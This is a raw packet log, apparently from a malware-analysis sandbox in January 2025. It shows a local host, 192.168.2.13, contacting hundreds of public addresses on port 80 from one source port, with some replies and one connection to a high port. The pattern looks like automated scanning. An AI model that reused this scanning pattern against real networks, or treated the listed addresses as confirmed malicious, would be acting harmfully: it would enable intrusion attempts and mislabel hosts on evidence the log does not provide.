Jan 5, 2025 14:26:50.634183884 CET	56958	80	192.168.2.13	192.184.8.235
Jan 5, 2025 14:26:50.634192944 CET	56958	80	192.168.2.13	36.3.149.9
Jan 5, 2025 14:26:50.634206057 CET	80	56958	80.49.90.14	192.168.2.13
Jan 5, 2025 14:26:50.634208918 CET	56958	80	192.168.2.13	136.143.8.217
Jan 5, 2025 14:26:50.634217024 CET	80	56958	168.126.5.221	192.168.2.13
Jan 5, 2025 14:26:50.634227991 CET	80	56958	70.148.212.1	192.168.2.13
Jan 5, 2025 14:26:50.634232998 CET	56958	80	192.168.2.13	80.49.90.14
Jan 5, 2025 14:26:50.634238005 CET	80	56958	50.159.226.213	192.168.2.13
Jan 5, 2025 14:26:50.634242058 CET	56958	80	192.168.2.13	168.126.5.221
Jan 5, 2025 14:26:50.634255886 CET	56958	80	192.168.2.13	70.148.212.1
Jan 5, 2025 14:26:50.634262085 CET	56958	80	192.168.2.13	50.159.226.213
Jan 5, 2025 14:26:50.634289980 CET	51156	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:50.634382010 CET	80	56958	39.119.44.130	192.168.2.13
Jan 5, 2025 14:26:50.634392977 CET	80	56958	48.38.206.29	192.168.2.13
Jan 5, 2025 14:26:50.634402990 CET	80	56958	221.2.67.12	192.168.2.13
Jan 5, 2025 14:26:50.634413958 CET	56958	80	192.168.2.13	39.119.44.130
Jan 5, 2025 14:26:50.634413958 CET	80	56958	86.96.150.38	192.168.2.13
Jan 5, 2025 14:26:50.634424925 CET	56958	80	192.168.2.13	48.38.206.29
Jan 5, 2025 14:26:50.634427071 CET	80	56958	110.97.95.75	192.168.2.13
Jan 5, 2025 14:26:50.634430885 CET	56958	80	192.168.2.13	221.2.67.12
Jan 5, 2025 14:26:50.634438992 CET	80	56958	139.235.124.212	192.168.2.13
Jan 5, 2025 14:26:50.634444952 CET	56958	80	192.168.2.13	86.96.150.38
Jan 5, 2025 14:26:50.634450912 CET	80	56958	12.190.242.34	192.168.2.13
Jan 5, 2025 14:26:50.634459972 CET	56958	80	192.168.2.13	110.97.95.75
Jan 5, 2025 14:26:50.634462118 CET	80	56958	85.228.147.59	192.168.2.13
Jan 5, 2025 14:26:50.634465933 CET	56958	80	192.168.2.13	139.235.124.212
Jan 5, 2025 14:26:50.634473085 CET	80	56958	120.2.92.169	192.168.2.13
Jan 5, 2025 14:26:50.634483099 CET	56958	80	192.168.2.13	12.190.242.34
Jan 5, 2025 14:26:50.634484053 CET	80	56958	69.254.49.105	192.168.2.13
Jan 5, 2025 14:26:50.634488106 CET	56958	80	192.168.2.13	85.228.147.59
Jan 5, 2025 14:26:50.634495974 CET	80	56958	123.78.212.170	192.168.2.13
Jan 5, 2025 14:26:50.634496927 CET	56958	80	192.168.2.13	120.2.92.169
Jan 5, 2025 14:26:50.634506941 CET	80	56958	83.200.51.100	192.168.2.13
Jan 5, 2025 14:26:50.634515047 CET	56958	80	192.168.2.13	69.254.49.105
Jan 5, 2025 14:26:50.634517908 CET	80	56958	41.59.19.152	192.168.2.13
Jan 5, 2025 14:26:50.634524107 CET	56958	80	192.168.2.13	123.78.212.170
Jan 5, 2025 14:26:50.634537935 CET	56958	80	192.168.2.13	83.200.51.100
Jan 5, 2025 14:26:50.634538889 CET	80	56958	70.69.32.234	192.168.2.13
Jan 5, 2025 14:26:50.634548903 CET	56958	80	192.168.2.13	41.59.19.152
Jan 5, 2025 14:26:50.634551048 CET	80	56958	57.52.35.86	192.168.2.13
Jan 5, 2025 14:26:50.634562016 CET	80	56958	182.155.125.8	192.168.2.13
Jan 5, 2025 14:26:50.634567022 CET	56958	80	192.168.2.13	70.69.32.234
Jan 5, 2025 14:26:50.634574890 CET	80	56958	134.206.255.241	192.168.2.13
Jan 5, 2025 14:26:50.634576082 CET	56958	80	192.168.2.13	57.52.35.86
Jan 5, 2025 14:26:50.634586096 CET	80	56958	38.142.5.178	192.168.2.13
Jan 5, 2025 14:26:50.634593964 CET	56958	80	192.168.2.13	182.155.125.8
Jan 5, 2025 14:26:50.634596109 CET	80	56958	134.134.229.217	192.168.2.13
Jan 5, 2025 14:26:50.634607077 CET	80	56958	149.63.105.73	192.168.2.13
Jan 5, 2025 14:26:50.634608030 CET	56958	80	192.168.2.13	134.206.255.241
Jan 5, 2025 14:26:50.634617090 CET	80	56958	37.83.231.137	192.168.2.13
Jan 5, 2025 14:26:50.634618998 CET	56958	80	192.168.2.13	134.134.229.217
Jan 5, 2025 14:26:50.634629011 CET	80	56958	156.17.216.81	192.168.2.13
Jan 5, 2025 14:26:50.634632111 CET	56958	80	192.168.2.13	38.142.5.178
Jan 5, 2025 14:26:50.634635925 CET	56958	80	192.168.2.13	149.63.105.73
Jan 5, 2025 14:26:50.634639978 CET	80	56958	183.66.18.74	192.168.2.13
Jan 5, 2025 14:26:50.634644032 CET	56958	80	192.168.2.13	37.83.231.137
Jan 5, 2025 14:26:50.634653091 CET	80	56958	205.193.127.145	192.168.2.13
Jan 5, 2025 14:26:50.634660959 CET	56958	80	192.168.2.13	156.17.216.81
Jan 5, 2025 14:26:50.634664059 CET	80	56958	124.138.243.251	192.168.2.13
Jan 5, 2025 14:26:50.634669065 CET	56958	80	192.168.2.13	183.66.18.74
Jan 5, 2025 14:26:50.634675980 CET	80	56958	54.211.42.240	192.168.2.13
Jan 5, 2025 14:26:50.634681940 CET	56958	80	192.168.2.13	205.193.127.145
Jan 5, 2025 14:26:50.634686947 CET	80	56958	25.234.192.78	192.168.2.13
Jan 5, 2025 14:26:50.634691000 CET	56958	80	192.168.2.13	124.138.243.251
Jan 5, 2025 14:26:50.634699106 CET	80	56958	185.116.27.215	192.168.2.13
Jan 5, 2025 14:26:50.634707928 CET	56958	80	192.168.2.13	54.211.42.240
Jan 5, 2025 14:26:50.634715080 CET	56958	80	192.168.2.13	25.234.192.78
Jan 5, 2025 14:26:50.634730101 CET	56958	80	192.168.2.13	185.116.27.215
Jan 5, 2025 14:26:50.634953022 CET	80	56958	25.115.190.23	192.168.2.13
Jan 5, 2025 14:26:50.634964943 CET	80	56958	61.90.64.15	192.168.2.13
Jan 5, 2025 14:26:50.634975910 CET	80	56958	200.183.46.103	192.168.2.13
Jan 5, 2025 14:26:50.634985924 CET	80	56958	51.169.111.57	192.168.2.13
Jan 5, 2025 14:26:50.634988070 CET	56958	80	192.168.2.13	25.115.190.23
Jan 5, 2025 14:26:50.634988070 CET	56958	80	192.168.2.13	61.90.64.15
Jan 5, 2025 14:26:50.634998083 CET	80	56958	105.177.206.247	192.168.2.13
Jan 5, 2025 14:26:50.634998083 CET	56958	80	192.168.2.13	200.183.46.103
Jan 5, 2025 14:26:50.635010004 CET	80	56958	160.244.235.155	192.168.2.13
Jan 5, 2025 14:26:50.635011911 CET	56958	80	192.168.2.13	51.169.111.57
Jan 5, 2025 14:26:50.635020971 CET	80	56958	174.240.204.36	192.168.2.13
Jan 5, 2025 14:26:50.635026932 CET	56958	80	192.168.2.13	105.177.206.247
Jan 5, 2025 14:26:50.635031939 CET	80	56958	36.99.117.231	192.168.2.13
Jan 5, 2025 14:26:50.635042906 CET	80	56958	36.175.157.54	192.168.2.13
Jan 5, 2025 14:26:50.635042906 CET	56958	80	192.168.2.13	160.244.235.155
Jan 5, 2025 14:26:50.635046005 CET	56958	80	192.168.2.13	174.240.204.36
Jan 5, 2025 14:26:50.635054111 CET	80	56958	108.111.179.167	192.168.2.13
Jan 5, 2025 14:26:50.635056019 CET	56958	80	192.168.2.13	36.99.117.231
Jan 5, 2025 14:26:50.635065079 CET	80	56958	108.190.250.156	192.168.2.13
Jan 5, 2025 14:26:50.635075092 CET	56958	80	192.168.2.13	36.175.157.54
Jan 5, 2025 14:26:50.635082006 CET	56958	80	192.168.2.13	108.111.179.167
Jan 5, 2025 14:26:50.635091066 CET	56958	80	192.168.2.13	108.190.250.156
Jan 5, 2025 14:26:50.635101080 CET	80	56958	208.211.130.68	192.168.2.13
Jan 5, 2025 14:26:50.635112047 CET	80	56958	148.36.183.246	192.168.2.13
Jan 5, 2025 14:26:50.635122061 CET	80	56958	18.167.97.59	192.168.2.13
Jan 5, 2025 14:26:50.635133028 CET	80	56958	41.120.115.29	192.168.2.13
Jan 5, 2025 14:26:50.635133982 CET	56958	80	192.168.2.13	208.211.130.68
Jan 5, 2025 14:26:50.635134935 CET	56958	80	192.168.2.13	148.36.183.246
Jan 5, 2025 14:26:50.635143042 CET	56958	80	192.168.2.13	18.167.97.59
Jan 5, 2025 14:26:50.635144949 CET	80	56958	50.215.87.182	192.168.2.13
Jan 5, 2025 14:26:50.635155916 CET	80	56958	97.106.135.116	192.168.2.13
Jan 5, 2025 14:26:50.635160923 CET	56958	80	192.168.2.13	41.120.115.29
Jan 5, 2025 14:26:50.635165930 CET	80	56958	27.79.20.173	192.168.2.13
Jan 5, 2025 14:26:50.635178089 CET	80	56958	154.14.30.41	192.168.2.13
Jan 5, 2025 14:26:50.635179043 CET	56958	80	192.168.2.13	50.215.87.182
Jan 5, 2025 14:26:50.635189056 CET	80	56958	31.58.148.188	192.168.2.13
Jan 5, 2025 14:26:50.635190964 CET	56958	80	192.168.2.13	27.79.20.173
Jan 5, 2025 14:26:50.635190964 CET	56958	80	192.168.2.13	97.106.135.116
Jan 5, 2025 14:26:50.635200024 CET	80	56958	9.116.58.20	192.168.2.13
Jan 5, 2025 14:26:50.635201931 CET	56958	80	192.168.2.13	154.14.30.41
Jan 5, 2025 14:26:50.635211945 CET	80	56958	138.19.179.4	192.168.2.13
Jan 5, 2025 14:26:50.635215998 CET	56958	80	192.168.2.13	31.58.148.188
Jan 5, 2025 14:26:50.635222912 CET	80	56958	153.133.83.204	192.168.2.13
Jan 5, 2025 14:26:50.635226011 CET	56958	80	192.168.2.13	9.116.58.20
Jan 5, 2025 14:26:50.635235071 CET	80	56958	197.32.140.145	192.168.2.13
Jan 5, 2025 14:26:50.635240078 CET	56958	80	192.168.2.13	138.19.179.4
Jan 5, 2025 14:26:50.635246038 CET	80	56958	169.120.4.213	192.168.2.13
Jan 5, 2025 14:26:50.635250092 CET	56958	80	192.168.2.13	153.133.83.204
Jan 5, 2025 14:26:50.635256052 CET	56958	80	192.168.2.13	197.32.140.145
Jan 5, 2025 14:26:50.635257006 CET	80	56958	99.17.216.187	192.168.2.13
Jan 5, 2025 14:26:50.635267019 CET	80	56958	74.226.184.245	192.168.2.13
Jan 5, 2025 14:26:50.635273933 CET	56958	80	192.168.2.13	169.120.4.213
Jan 5, 2025 14:26:50.635277987 CET	80	56958	73.77.188.209	192.168.2.13
Jan 5, 2025 14:26:50.635281086 CET	56958	80	192.168.2.13	99.17.216.187
Jan 5, 2025 14:26:50.635303974 CET	56958	80	192.168.2.13	73.77.188.209
Jan 5, 2025 14:26:50.635307074 CET	56958	80	192.168.2.13	74.226.184.245
Jan 5, 2025 14:26:50.635473967 CET	80	56958	27.27.198.21	192.168.2.13
Jan 5, 2025 14:26:50.635485888 CET	80	56958	5.172.204.96	192.168.2.13
Jan 5, 2025 14:26:50.635497093 CET	80	56958	194.65.238.93	192.168.2.13
Jan 5, 2025 14:26:50.635504961 CET	56958	80	192.168.2.13	27.27.198.21
Jan 5, 2025 14:26:50.635507107 CET	80	56958	128.161.192.164	192.168.2.13
Jan 5, 2025 14:26:50.635512114 CET	56958	80	192.168.2.13	5.172.204.96
Jan 5, 2025 14:26:50.635519981 CET	80	56958	60.147.183.193	192.168.2.13
Jan 5, 2025 14:26:50.635524988 CET	56958	80	192.168.2.13	194.65.238.93
Jan 5, 2025 14:26:50.635530949 CET	80	56958	123.145.209.85	192.168.2.13
Jan 5, 2025 14:26:50.635531902 CET	56958	80	192.168.2.13	128.161.192.164
Jan 5, 2025 14:26:50.635540962 CET	56958	80	192.168.2.13	60.147.183.193
Jan 5, 2025 14:26:50.635541916 CET	80	56958	106.250.57.101	192.168.2.13
Jan 5, 2025 14:26:50.635552883 CET	80	56958	9.45.230.72	192.168.2.13
Jan 5, 2025 14:26:50.635556936 CET	56958	80	192.168.2.13	123.145.209.85
Jan 5, 2025 14:26:50.635565996 CET	80	56958	100.60.190.130	192.168.2.13
Jan 5, 2025 14:26:50.635566950 CET	56958	80	192.168.2.13	106.250.57.101
Jan 5, 2025 14:26:50.635577917 CET	80	56958	219.172.11.130	192.168.2.13
Jan 5, 2025 14:26:50.635579109 CET	56958	80	192.168.2.13	9.45.230.72
Jan 5, 2025 14:26:50.635588884 CET	80	56958	140.238.7.42	192.168.2.13
Jan 5, 2025 14:26:50.635593891 CET	56958	80	192.168.2.13	100.60.190.130
Jan 5, 2025 14:26:50.635601044 CET	56958	80	192.168.2.13	219.172.11.130
Jan 5, 2025 14:26:50.635601044 CET	80	56958	163.158.210.43	192.168.2.13
Jan 5, 2025 14:26:50.635613918 CET	80	56958	171.10.235.237	192.168.2.13
Jan 5, 2025 14:26:50.635617018 CET	56958	80	192.168.2.13	140.238.7.42
Jan 5, 2025 14:26:50.635624886 CET	56958	80	192.168.2.13	163.158.210.43
Jan 5, 2025 14:26:50.635633945 CET	80	56958	68.115.120.36	192.168.2.13
Jan 5, 2025 14:26:50.635641098 CET	56958	80	192.168.2.13	171.10.235.237
Jan 5, 2025 14:26:50.635644913 CET	80	56958	156.128.47.162	192.168.2.13
Jan 5, 2025 14:26:50.635657072 CET	80	56958	19.205.233.76	192.168.2.13
Jan 5, 2025 14:26:50.635659933 CET	56958	80	192.168.2.13	68.115.120.36
Jan 5, 2025 14:26:50.635668039 CET	80	56958	186.100.196.100	192.168.2.13
Jan 5, 2025 14:26:50.635678053 CET	80	56958	131.80.151.135	192.168.2.13
Jan 5, 2025 14:26:50.635683060 CET	56958	80	192.168.2.13	156.128.47.162
Jan 5, 2025 14:26:50.635683060 CET	56958	80	192.168.2.13	19.205.233.76
Jan 5, 2025 14:26:50.635688066 CET	80	56958	189.38.103.141	192.168.2.13
Jan 5, 2025 14:26:50.635698080 CET	56958	80	192.168.2.13	186.100.196.100
Jan 5, 2025 14:26:50.635699034 CET	80	56958	152.161.176.248	192.168.2.13
Jan 5, 2025 14:26:50.635704041 CET	56958	80	192.168.2.13	131.80.151.135
Jan 5, 2025 14:26:50.635711908 CET	80	56958	105.127.160.174	192.168.2.13
Jan 5, 2025 14:26:50.635715961 CET	56958	80	192.168.2.13	189.38.103.141
Jan 5, 2025 14:26:50.635724068 CET	80	56958	137.240.174.221	192.168.2.13
Jan 5, 2025 14:26:50.635731936 CET	56958	80	192.168.2.13	152.161.176.248
Jan 5, 2025 14:26:50.635735035 CET	80	56958	101.160.230.210	192.168.2.13
Jan 5, 2025 14:26:50.635741949 CET	56958	80	192.168.2.13	105.127.160.174
Jan 5, 2025 14:26:50.635746002 CET	80	56958	45.208.164.97	192.168.2.13
Jan 5, 2025 14:26:50.635756016 CET	56958	80	192.168.2.13	137.240.174.221
Jan 5, 2025 14:26:50.635756969 CET	80	56958	122.163.191.183	192.168.2.13
Jan 5, 2025 14:26:50.635760069 CET	56958	80	192.168.2.13	101.160.230.210
Jan 5, 2025 14:26:50.635767937 CET	80	56958	96.60.38.46	192.168.2.13
Jan 5, 2025 14:26:50.635770082 CET	56958	80	192.168.2.13	45.208.164.97
Jan 5, 2025 14:26:50.635782003 CET	80	56958	155.182.186.131	192.168.2.13
Jan 5, 2025 14:26:50.635786057 CET	56958	80	192.168.2.13	122.163.191.183
Jan 5, 2025 14:26:50.635793924 CET	80	56958	205.226.194.126	192.168.2.13
Jan 5, 2025 14:26:50.635811090 CET	56958	80	192.168.2.13	96.60.38.46
Jan 5, 2025 14:26:50.635811090 CET	56958	80	192.168.2.13	155.182.186.131
Jan 5, 2025 14:26:50.635811090 CET	56958	80	192.168.2.13	205.226.194.126
Jan 5, 2025 14:26:50.635956049 CET	80	56958	162.166.63.235	192.168.2.13
Jan 5, 2025 14:26:50.635967016 CET	80	56958	131.114.82.90	192.168.2.13
Jan 5, 2025 14:26:50.635977983 CET	80	56958	129.224.161.60	192.168.2.13
Jan 5, 2025 14:26:50.635982990 CET	56958	80	192.168.2.13	162.166.63.235
Jan 5, 2025 14:26:50.635988951 CET	80	56958	185.24.244.207	192.168.2.13
Jan 5, 2025 14:26:50.635989904 CET	56958	80	192.168.2.13	131.114.82.90
Jan 5, 2025 14:26:50.635998964 CET	80	56958	165.1.46.250	192.168.2.13
Jan 5, 2025 14:26:50.636004925 CET	56958	80	192.168.2.13	129.224.161.60
Jan 5, 2025 14:26:50.636008978 CET	56958	80	192.168.2.13	185.24.244.207
Jan 5, 2025 14:26:50.636010885 CET	80	56958	8.31.4.0	192.168.2.13
Jan 5, 2025 14:26:50.636022091 CET	80	56958	143.6.89.177	192.168.2.13
Jan 5, 2025 14:26:50.636030912 CET	56958	80	192.168.2.13	165.1.46.250
Jan 5, 2025 14:26:50.636033058 CET	80	56958	35.60.207.201	192.168.2.13
Jan 5, 2025 14:26:50.636044979 CET	80	56958	113.241.219.62	192.168.2.13
Jan 5, 2025 14:26:50.636045933 CET	56958	80	192.168.2.13	8.31.4.0
Jan 5, 2025 14:26:50.636050940 CET	56958	80	192.168.2.13	143.6.89.177
Jan 5, 2025 14:26:50.636054993 CET	80	56958	85.4.77.197	192.168.2.13
Jan 5, 2025 14:26:50.636058092 CET	56958	80	192.168.2.13	35.60.207.201
Jan 5, 2025 14:26:50.636070967 CET	56958	80	192.168.2.13	113.241.219.62
Jan 5, 2025 14:26:50.636075974 CET	80	56958	14.104.2.13	192.168.2.13
Jan 5, 2025 14:26:50.636087894 CET	56958	80	192.168.2.13	85.4.77.197
Jan 5, 2025 14:26:50.636087894 CET	80	56958	49.20.63.101	192.168.2.13
Jan 5, 2025 14:26:50.636099100 CET	80	56958	59.208.198.10	192.168.2.13
Jan 5, 2025 14:26:50.636104107 CET	56958	80	192.168.2.13	14.104.2.13
Jan 5, 2025 14:26:50.636109114 CET	80	56958	188.162.249.222	192.168.2.13
Jan 5, 2025 14:26:50.636113882 CET	56958	80	192.168.2.13	49.20.63.101
Jan 5, 2025 14:26:50.636121035 CET	80	56958	130.211.118.246	192.168.2.13
Jan 5, 2025 14:26:50.636132002 CET	80	56958	64.253.114.115	192.168.2.13
Jan 5, 2025 14:26:50.636132956 CET	56958	80	192.168.2.13	59.208.198.10
Jan 5, 2025 14:26:50.636136055 CET	56958	80	192.168.2.13	188.162.249.222
Jan 5, 2025 14:26:50.636142969 CET	80	56958	94.212.90.123	192.168.2.13
Jan 5, 2025 14:26:50.636151075 CET	56958	80	192.168.2.13	130.211.118.246
Jan 5, 2025 14:26:50.636153936 CET	80	56958	211.42.234.192	192.168.2.13
Jan 5, 2025 14:26:50.636159897 CET	56958	80	192.168.2.13	64.253.114.115
Jan 5, 2025 14:26:50.636164904 CET	80	56958	35.206.127.82	192.168.2.13
Jan 5, 2025 14:26:50.636173964 CET	56958	80	192.168.2.13	94.212.90.123
Jan 5, 2025 14:26:50.636174917 CET	56958	80	192.168.2.13	211.42.234.192
Jan 5, 2025 14:26:50.636176109 CET	80	56958	23.126.162.29	192.168.2.13
Jan 5, 2025 14:26:50.636187077 CET	80	56958	83.48.88.35	192.168.2.13
Jan 5, 2025 14:26:50.636188984 CET	56958	80	192.168.2.13	35.206.127.82
Jan 5, 2025 14:26:50.636197090 CET	80	56958	75.14.231.138	192.168.2.13
Jan 5, 2025 14:26:50.636204958 CET	56958	80	192.168.2.13	23.126.162.29
Jan 5, 2025 14:26:50.636209011 CET	80	56958	210.99.115.218	192.168.2.13
Jan 5, 2025 14:26:50.636210918 CET	56958	80	192.168.2.13	83.48.88.35
Jan 5, 2025 14:26:50.636220932 CET	80	56958	76.27.35.96	192.168.2.13
Jan 5, 2025 14:26:50.636223078 CET	56958	80	192.168.2.13	75.14.231.138
Jan 5, 2025 14:26:50.636234999 CET	56958	80	192.168.2.13	210.99.115.218
Jan 5, 2025 14:26:50.636248112 CET	56958	80	192.168.2.13	76.27.35.96
Jan 5, 2025 14:26:50.636352062 CET	80	56958	96.138.235.171	192.168.2.13
Jan 5, 2025 14:26:50.636363029 CET	80	56958	157.201.216.142	192.168.2.13
Jan 5, 2025 14:26:50.636373997 CET	80	56958	87.175.188.62	192.168.2.13
Jan 5, 2025 14:26:50.636383057 CET	56958	80	192.168.2.13	96.138.235.171
Jan 5, 2025 14:26:50.636384010 CET	80	56958	95.175.199.124	192.168.2.13
Jan 5, 2025 14:26:50.636387110 CET	56958	80	192.168.2.13	157.201.216.142
Jan 5, 2025 14:26:50.636395931 CET	80	56958	178.196.38.35	192.168.2.13
Jan 5, 2025 14:26:50.636400938 CET	56958	80	192.168.2.13	87.175.188.62
Jan 5, 2025 14:26:50.636408091 CET	80	56958	164.84.37.20	192.168.2.13
Jan 5, 2025 14:26:50.636410952 CET	56958	80	192.168.2.13	95.175.199.124
Jan 5, 2025 14:26:50.636420012 CET	80	56958	40.184.158.185	192.168.2.13
Jan 5, 2025 14:26:50.636421919 CET	56958	80	192.168.2.13	178.196.38.35
Jan 5, 2025 14:26:50.636431932 CET	80	56958	120.193.242.255	192.168.2.13
Jan 5, 2025 14:26:50.636439085 CET	56958	80	192.168.2.13	164.84.37.20
Jan 5, 2025 14:26:50.636441946 CET	80	56958	96.99.9.108	192.168.2.13
Jan 5, 2025 14:26:50.636447906 CET	56958	80	192.168.2.13	40.184.158.185
Jan 5, 2025 14:26:50.636454105 CET	80	56958	126.118.226.128	192.168.2.13
Jan 5, 2025 14:26:50.636457920 CET	56958	80	192.168.2.13	120.193.242.255
Jan 5, 2025 14:26:50.636466026 CET	80	56958	75.94.62.81	192.168.2.13
Jan 5, 2025 14:26:50.636473894 CET	56958	80	192.168.2.13	96.99.9.108
Jan 5, 2025 14:26:50.636476994 CET	80	56958	187.23.45.51	192.168.2.13
Jan 5, 2025 14:26:50.636487007 CET	56958	80	192.168.2.13	126.118.226.128
Jan 5, 2025 14:26:50.636487961 CET	56958	80	192.168.2.13	75.94.62.81
Jan 5, 2025 14:26:50.636502981 CET	56958	80	192.168.2.13	187.23.45.51
Jan 5, 2025 14:26:50.636713982 CET	80	56958	144.241.249.182	192.168.2.13
Jan 5, 2025 14:26:50.636724949 CET	80	56958	37.104.96.25	192.168.2.13
Jan 5, 2025 14:26:50.636734962 CET	80	56958	164.164.161.84	192.168.2.13
Jan 5, 2025 14:26:50.636743069 CET	56958	80	192.168.2.13	144.241.249.182
Jan 5, 2025 14:26:50.636746883 CET	80	56958	41.9.102.60	192.168.2.13
Jan 5, 2025 14:26:50.636750937 CET	56958	80	192.168.2.13	37.104.96.25
Jan 5, 2025 14:26:50.636754036 CET	56958	80	192.168.2.13	164.164.161.84
Jan 5, 2025 14:26:50.636758089 CET	80	56958	140.241.163.27	192.168.2.13
Jan 5, 2025 14:26:50.636770010 CET	80	56958	137.235.116.218	192.168.2.13
Jan 5, 2025 14:26:50.636771917 CET	56958	80	192.168.2.13	41.9.102.60
Jan 5, 2025 14:26:50.636780024 CET	56958	80	192.168.2.13	140.241.163.27
Jan 5, 2025 14:26:50.636780977 CET	80	56958	54.19.91.107	192.168.2.13
Jan 5, 2025 14:26:50.636791945 CET	80	56958	168.252.202.124	192.168.2.13
Jan 5, 2025 14:26:50.636806965 CET	80	56958	34.47.251.244	192.168.2.13
Jan 5, 2025 14:26:50.636810064 CET	56958	80	192.168.2.13	54.19.91.107
Jan 5, 2025 14:26:50.636810064 CET	56958	80	192.168.2.13	137.235.116.218
Jan 5, 2025 14:26:50.636818886 CET	80	56958	35.126.39.37	192.168.2.13
Jan 5, 2025 14:26:50.636821032 CET	56958	80	192.168.2.13	168.252.202.124
Jan 5, 2025 14:26:50.636830091 CET	80	56958	142.60.167.152	192.168.2.13
Jan 5, 2025 14:26:50.636831999 CET	56958	80	192.168.2.13	34.47.251.244
Jan 5, 2025 14:26:50.636842012 CET	80	56958	97.30.83.186	192.168.2.13
Jan 5, 2025 14:26:50.636847973 CET	56958	80	192.168.2.13	35.126.39.37
Jan 5, 2025 14:26:50.636852980 CET	80	56958	53.75.40.204	192.168.2.13
Jan 5, 2025 14:26:50.636859894 CET	56958	80	192.168.2.13	142.60.167.152
Jan 5, 2025 14:26:50.636863947 CET	80	56958	82.220.100.195	192.168.2.13
Jan 5, 2025 14:26:50.636867046 CET	56958	80	192.168.2.13	97.30.83.186
Jan 5, 2025 14:26:50.636884928 CET	56958	80	192.168.2.13	53.75.40.204
Jan 5, 2025 14:26:50.636884928 CET	56958	80	192.168.2.13	82.220.100.195
Jan 5, 2025 14:26:50.637062073 CET	80	56958	194.38.128.240	192.168.2.13
Jan 5, 2025 14:26:50.637073994 CET	80	56958	121.3.94.200	192.168.2.13
Jan 5, 2025 14:26:50.637093067 CET	80	56958	51.138.37.36	192.168.2.13
Jan 5, 2025 14:26:50.637099028 CET	56958	80	192.168.2.13	121.3.94.200
Jan 5, 2025 14:26:50.637099981 CET	56958	80	192.168.2.13	194.38.128.240
Jan 5, 2025 14:26:50.637105942 CET	80	56958	194.101.241.19	192.168.2.13
Jan 5, 2025 14:26:50.637118101 CET	80	56958	158.135.24.51	192.168.2.13
Jan 5, 2025 14:26:50.637123108 CET	56958	80	192.168.2.13	51.138.37.36
Jan 5, 2025 14:26:50.637130022 CET	80	56958	36.227.23.243	192.168.2.13
Jan 5, 2025 14:26:50.637139082 CET	56958	80	192.168.2.13	194.101.241.19
Jan 5, 2025 14:26:50.637141943 CET	80	56958	118.144.57.226	192.168.2.13
Jan 5, 2025 14:26:50.637145042 CET	56958	80	192.168.2.13	158.135.24.51
Jan 5, 2025 14:26:50.637161016 CET	56958	80	192.168.2.13	36.227.23.243
Jan 5, 2025 14:26:50.637171984 CET	56958	80	192.168.2.13	118.144.57.226
Jan 5, 2025 14:26:50.637191057 CET	80	56958	9.21.175.158	192.168.2.13
Jan 5, 2025 14:26:50.637202978 CET	80	56958	67.219.186.145	192.168.2.13
Jan 5, 2025 14:26:50.637218952 CET	80	56958	133.36.198.27	192.168.2.13
Jan 5, 2025 14:26:50.637221098 CET	56958	80	192.168.2.13	9.21.175.158
Jan 5, 2025 14:26:50.637229919 CET	80	56958	122.193.108.65	192.168.2.13
Jan 5, 2025 14:26:50.637238026 CET	56958	80	192.168.2.13	67.219.186.145
Jan 5, 2025 14:26:50.637239933 CET	80	56958	146.210.78.173	192.168.2.13
Jan 5, 2025 14:26:50.637243032 CET	56958	80	192.168.2.13	133.36.198.27
Jan 5, 2025 14:26:50.637253046 CET	80	56958	144.15.9.215	192.168.2.13
Jan 5, 2025 14:26:50.637259007 CET	56958	80	192.168.2.13	122.193.108.65
Jan 5, 2025 14:26:50.637263060 CET	80	56958	167.194.180.11	192.168.2.13
Jan 5, 2025 14:26:50.637269020 CET	56958	80	192.168.2.13	146.210.78.173
Jan 5, 2025 14:26:50.637275934 CET	80	56958	161.63.249.41	192.168.2.13
Jan 5, 2025 14:26:50.637279987 CET	56958	80	192.168.2.13	144.15.9.215
Jan 5, 2025 14:26:50.637286901 CET	80	56958	91.130.146.1	192.168.2.13
Jan 5, 2025 14:26:50.637289047 CET	56958	80	192.168.2.13	167.194.180.11
Jan 5, 2025 14:26:50.637299061 CET	80	56958	88.83.28.220	192.168.2.13
Jan 5, 2025 14:26:50.637300968 CET	56958	80	192.168.2.13	161.63.249.41
Jan 5, 2025 14:26:50.637309074 CET	80	56958	58.186.24.38	192.168.2.13
Jan 5, 2025 14:26:50.637316942 CET	56958	80	192.168.2.13	91.130.146.1
Jan 5, 2025 14:26:50.637321949 CET	80	56958	203.31.48.71	192.168.2.13
Jan 5, 2025 14:26:50.637326002 CET	56958	80	192.168.2.13	88.83.28.220
Jan 5, 2025 14:26:50.637332916 CET	80	56958	12.128.146.240	192.168.2.13
Jan 5, 2025 14:26:50.637334108 CET	56958	80	192.168.2.13	58.186.24.38
Jan 5, 2025 14:26:50.637343884 CET	80	56958	87.95.152.171	192.168.2.13
Jan 5, 2025 14:26:50.637352943 CET	56958	80	192.168.2.13	203.31.48.71
Jan 5, 2025 14:26:50.637355089 CET	56958	80	192.168.2.13	12.128.146.240
Jan 5, 2025 14:26:50.637356043 CET	80	56958	14.107.200.121	192.168.2.13
Jan 5, 2025 14:26:50.637367964 CET	80	56958	47.51.213.174	192.168.2.13
Jan 5, 2025 14:26:50.637367964 CET	56958	80	192.168.2.13	87.95.152.171
Jan 5, 2025 14:26:50.637378931 CET	56958	80	192.168.2.13	14.107.200.121
Jan 5, 2025 14:26:50.637378931 CET	80	56958	123.65.32.81	192.168.2.13
Jan 5, 2025 14:26:50.637389898 CET	80	56958	96.36.200.100	192.168.2.13
Jan 5, 2025 14:26:50.637398005 CET	56958	80	192.168.2.13	47.51.213.174
Jan 5, 2025 14:26:50.637399912 CET	80	56958	100.14.235.107	192.168.2.13
Jan 5, 2025 14:26:50.637403965 CET	56958	80	192.168.2.13	123.65.32.81
Jan 5, 2025 14:26:50.637413025 CET	80	56958	196.2.201.231	192.168.2.13
Jan 5, 2025 14:26:50.637413025 CET	56958	80	192.168.2.13	96.36.200.100
Jan 5, 2025 14:26:50.637423992 CET	80	56958	96.159.105.223	192.168.2.13
Jan 5, 2025 14:26:50.637428045 CET	56958	80	192.168.2.13	100.14.235.107
Jan 5, 2025 14:26:50.637443066 CET	56958	80	192.168.2.13	196.2.201.231
Jan 5, 2025 14:26:50.637454033 CET	56958	80	192.168.2.13	96.159.105.223
Jan 5, 2025 14:26:50.637676954 CET	80	56958	190.156.146.40	192.168.2.13
Jan 5, 2025 14:26:50.637686968 CET	80	56958	161.137.136.238	192.168.2.13
Jan 5, 2025 14:26:50.637698889 CET	80	56958	209.65.11.46	192.168.2.13
Jan 5, 2025 14:26:50.637710094 CET	80	56958	105.194.48.99	192.168.2.13
